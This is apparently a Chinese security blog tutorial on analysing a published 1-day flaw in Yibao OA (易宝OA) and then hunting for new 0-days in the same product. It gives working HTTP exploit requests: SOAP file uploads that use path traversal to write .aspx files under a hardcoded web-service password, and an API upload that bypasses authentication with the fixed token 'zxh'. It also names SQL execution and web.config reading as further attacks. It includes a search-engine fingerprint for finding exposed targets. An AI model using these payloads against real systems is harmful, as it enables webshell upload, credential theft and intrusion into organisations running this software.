易宝OA

如何快速分析1day漏洞并挖掘0day

不需要特别强的代码审计能力,快速根据1day细节追踪并分析代码,在此基础上尝试挖掘其他接口漏洞甚至0day漏洞。

获取0/1day漏洞

可通过公众号等手段获取漏洞信息,以下以易宝OA为例

image-20240329182351932

image-20240329182407103

web.title="欢迎登录易宝OA系统 && "banner="易宝OA"

细节提取

根据放出的图片,提取到 SOAPAction": "http://tempuri.org/UploadBillFile 、xml数据格式、.net,目录穿越

image-20240329185227497

历史漏洞搜索

通过文库,github,公众号等搜索相关历史漏洞,例如这里搜索 “易宝OA”,搜到相关漏洞都是文件上传

第一个:

提取信息:UploadPersonalFile、/WebService/BasicService.asmx、soap

image-20240327175317594

第二个:

提取信息:/api/files/UploadFile

image-20240327175354245

源码获取

搜索引擎->历史漏洞->获取源码,推荐yakit快速筛选出目标

如何打包?一条命令就搞定

rar:
rar.exe a -m3 -r manager.rar manager

7z:
7z.exe a manager.7z manager "-xr!log/"

环境搭建与分析

php->vscode、java->IDEA、.net/c#->dnspy

快速分析目录结构,全部点一点,分辨出哪些是静态资源,哪些是逻辑源码

image-20240327180512206

有问题就问chatgpt

image-20240327180805125

这里有几个文件,大概意思就是指定交付给后端的哪块代码处理。

Global.asax,大概是运行的是TopVision.WebApi这个东西web应用

<%@ Application Codebehind="Global.asax.cs" Inherits="TopVision.WebApi.WebApiApplication" Language="C#" %>

WebService\BasicService.asmx,漏洞文件,运行TopVision.WebApi.WebService.BasicService

<%@ WebService Language="C#" CodeBehind="BasicService.asmx.cs" Class="TopVision.WebApi.WebService.BasicService" %>

WebService\Gateway.asmx,运行TopVision.WebApi.WebService.Gateway

<%@ WebService Language="C#" CodeBehind="Gateway.asmx.cs" Class="TopVision.WebApi.WebService.Gateway" %>

.net主要的代码逻辑都在bin目录下的dll,导入到dnspy分析即可。

image-20240327181842740

  • core-核心代码
  • framework-框架
  • tookit-工具相关?
  • web-web代码
  • webapi-api接口代码

快速挖洞肯定首选web代码与api接口。

Web

翻译翻译就能找到重点,重点就是找,config、setting、service、routes之类的

image-20240327182324302

API

根据代码结构肯定先看ToVision.WebApi了

image-20240327215614715

一些filter,session等,主要还是看config和application

image-20240327222032463

分析历史漏洞

Web

首先看到settings,漏洞url就出现了,setting-url-service三者结合初步推测代码实现的功能:凡是访问/WebService/BasicService.asmx的都交由Topvision_Web_ERPService_BasicService该服务进行处理

image-20240327183030758

但是与前面分析的矛盾,不是应该交由 TopVision.WebApi.WebService.BasicService 来处理吗?

看看chatgpt的回答

image-20240327190137909

概括为:WebService\BasicService.asmx只是定义了最终交由 TopVision.WebApi.WebService.BasicService 处理,中间过程可以通过settings配置交由 Topvision_Web_ERPService_BasicService 处理。

分别看一下二者的漏洞函数 UploadPersonalFile 的实现

image-20240327190543108

image-20240327190609458

果然,前者通过soap发送到后者,然后写入文件,需要三个参数fs文件内容,filename文件名称,webservicePassword密钥

全局搜一下即可,这里注意XML文件中有很多webservicePassword,下面要用到。

image-20240327191753221

poc构造,soap的实现可以根据源码问chatgpt

POST /WebService/BasicService.asmx HTTP/1.1
Host: xxxx:8056
SOAPAction: http://tempuri.org/UploadPersonalFile
Content-Type: text/xml; charset=utf-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:UploadPersonalFile>
<tem:fs>bGR3aw==</tem:fs>
<tem:FileName>../../manager/1.aspx</tem:FileName>
<tem:webservicePassword>{ac80457b-368d-4062-b2dd-ae4d490e1c4b}</tem:webservicePassword>
</tem:UploadPersonalFile>
</soapenv:Body>
</soapenv:Envelope>

image-20240327213608792

API

看application,即程序初始化入口,主要是配置web api、配置过滤器、配置路由规则、加载web.config配置文件。

image-20240327222601696

接着config看,添加了路由,形式为:api/{controller}/{action}

image-20240327222312213

那就直接找controller控制器吧,files控制器继承ToVisionApi

image-20240327223514374

这里存在一个鉴权,但是只要传 token=zxh 即可绕过

image-20240327223822545

回到上传文件,需要三个参数+token参数

image-20240327224818570

另外如果传入fs的值为以下,是可以json反序列化的。

fs=[60,37,64,80,97,103,101,32,76,97,110,103,11]

构造poc

POST /api/files/UploadFile HTTP/1.1
Host: xxxx
Content-Type: application/x-www-form-urlencoded

token=zxh&FileName=/../../manager/1.aspx&pathType=1&fs=[108,100,119,107,50]

image-20240327230518277

漏洞挖掘

综上,快速挖洞就可以基于以上分析,从web与api进行

web

比如UploadBillFile

image-20240327231333160

poc

POST /WebService/BasicService.asmx HTTP/1.1
Host: xxxxx
SOAPAction: http://tempuri.org/UploadBillFile
Content-Type: text/xml; charset=utf-8

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:UploadBillFile>
<tem:fs>bGR3aw==</tem:fs>
<tem:FileName>../../manager/1.aspx</tem:FileName>
<tem:webservicePassword>{ac80457b-368d-4062-b2dd-ae4d490e1c4b}</tem:webservicePassword>
</tem:UploadBillFile>
</soapenv:Body>
</soapenv:Envelope>

执行sql

image-20240327232443295

任意文件下载

image-20240327232517848

API

文件上传四个接口

image-20240327234058143

任意文件读取,读web.config,泄露数据库,webservicepassword等信息

image-20240327234157062

还有一些其他的接口

image-20240327234553458

太多了就不一一举例了。